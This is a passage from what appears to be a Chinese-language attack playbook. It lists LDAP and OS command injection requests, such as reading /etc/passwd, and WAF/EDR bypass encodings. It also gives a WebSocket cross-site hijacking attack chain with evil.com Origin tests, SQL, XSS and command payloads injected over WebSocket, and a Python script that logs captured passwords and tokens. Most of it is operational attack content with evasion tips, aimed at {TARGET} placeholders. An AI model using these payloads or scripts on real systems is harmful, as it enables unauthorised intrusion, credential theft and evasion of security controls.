/api/users?name=*)(uid=*))(|(uid=* GET /api/login?user=*&password=* # 认证绕过 POST /api/auth {"user": "admin)(|(password=*))", "password": "x"} # 信息泄露 GET /api/search?name=*)(objectClass=*) ``` **4. 4. 命令注入** _命令注入_ ``` # OS命令注入 GET /api/ping?host=127.0.0.1;id GET /api/convert?file=test.pdf;cat /etc/passwd # POST请求 POST /api/exec {"cmd": "ls -la; cat /etc/passwd"} # 反引号注入 GET /api/check?host=`id` GET /api/check?host=$(id) ``` **WAF/EDR 绕过变体:** **1. 编码绕过** _编码绕过_ ``` # URL编码 GET /api/users?id=1%20OR%201%3D1 # Unicode编码 GET /api/users?id=1%u0020OR%u00201%3D1 # 双重编码 GET /api/users?id=1%2520OR%25201%253D1 ``` **2. Content-Type绕过** _Content-Type绕过_ ``` # 切换Content-Type Content-Type: application/xml 1 OR 1=1 Content-Type: application/x-www-form-urlencoded id=1+OR+1=1 # JSON数组 {"id": ["1", "OR", "1=1"]} ``` --- ### · WebSocket安全 ### WebSocket跨站劫持(CSWSH) `ws-hijack` 利用WebSocket握手阶段缺少Origin验证的漏洞,通过恶意网页建立跨站WebSocket连接。攻击者可劫持受害者的WebSocket会话,窃取实时数据或以受害者身份发送消息。类似于CSRF但针对WebSocket协议。 子类:**WebSocket劫持** · tags: `WebSocket` `CSWSH` `Origin` `跨站` `会话劫持` **前置条件:** 目标使用WebSocket通信;WebSocket握手未验证Origin **攻击链:** **1. 1. 识别WebSocket端点** _搜索WebSocket端点并测试是否接受任意Origin的跨站连接_ ``` # 从前端代码搜索WebSocket连接 curl -s "https://{TARGET}/static/js/main.js" | grep -oP "wss?://[^\x27\x22\s]+" # 浏览器开发者工具检查(Console) # 在Network标签筛选WS类型请求 # 手动连接测试 websocat "wss://{TARGET}/ws" -H "Origin: https://evil.com" --no-close # 检查握手响应中的Origin处理 curl -i -N -H "Connection: Upgrade" -H "Upgrade: websocket" \ -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGVzdA==" \ -H "Origin: https://evil.com" \ "https://{TARGET}/ws" ``` **2. 2. 构造跨站劫持POC页面** _创建恶意HTML页面利用受害者Cookie建立WebSocket连接并窃取数据_ ```

WebSocket Cross-Site Hijacking POC

``` **3. 3. WebSocket消息注入** _通过WebSocket消息注入SQL/XSS/命令注入payload_ ``` # 如果WebSocket消息被拼入后端查询 # SQL注入 ws.send(JSON.stringify({ action: "search", query: "test\x27 UNION SELECT username,password FROM users--" })); # XSS(如果消息被渲染到其他用户页面) ws.send(JSON.stringify({ action: "chat", message: "" })); # 命令注入 ws.send(JSON.stringify({ action: "exec", target: "127.0.0.1;id" })); ``` **4. 4. WebSocket流量分析脚本** _Python脚本实时监控WebSocket流量并记录敏感数据_ ``` # Python WebSocket监听和分析脚本 import asyncio import websockets import json async def monitor(): uri = "wss://{TARGET}/ws" headers = {"Cookie": "{SESSION_COOKIE}"} async with websockets.connect(uri, extra_headers=headers) as ws: # 发送认证消息 await ws.send(json.dumps({"type": "auth", "token": "{TOKEN}"})) while True: msg = await ws.recv() data = json.loads(msg) print(f"[{data.get('type', 'unknown')}] {msg}") # 记录敏感数据 if 'password' in msg.lower() or 'token' in msg.lower(): with open('ws_sensitive.log', 'a') as f: f.write(msg + '\n') asyncio.run(monitor()) ``` **WAF/EDR 绕过变体:** **1. 绕过Origin验证** _通过Origin伪造、子域名、null Origin和子协议绕过WebSocket Origin验证_ ``` # Origin头伪造(仅在非浏览器环境有效) websocat "wss://{TARGET}/ws" -H "Origin: https://{TARGET}" # 子域名绕过 Origin: https://test.{TARGET} # 如果验证不严格 Origin: https://{TARGET}.evil.com # 域名后缀混淆 # null Origin(某些浏览器场景) # 使用data: URI或沙箱iframe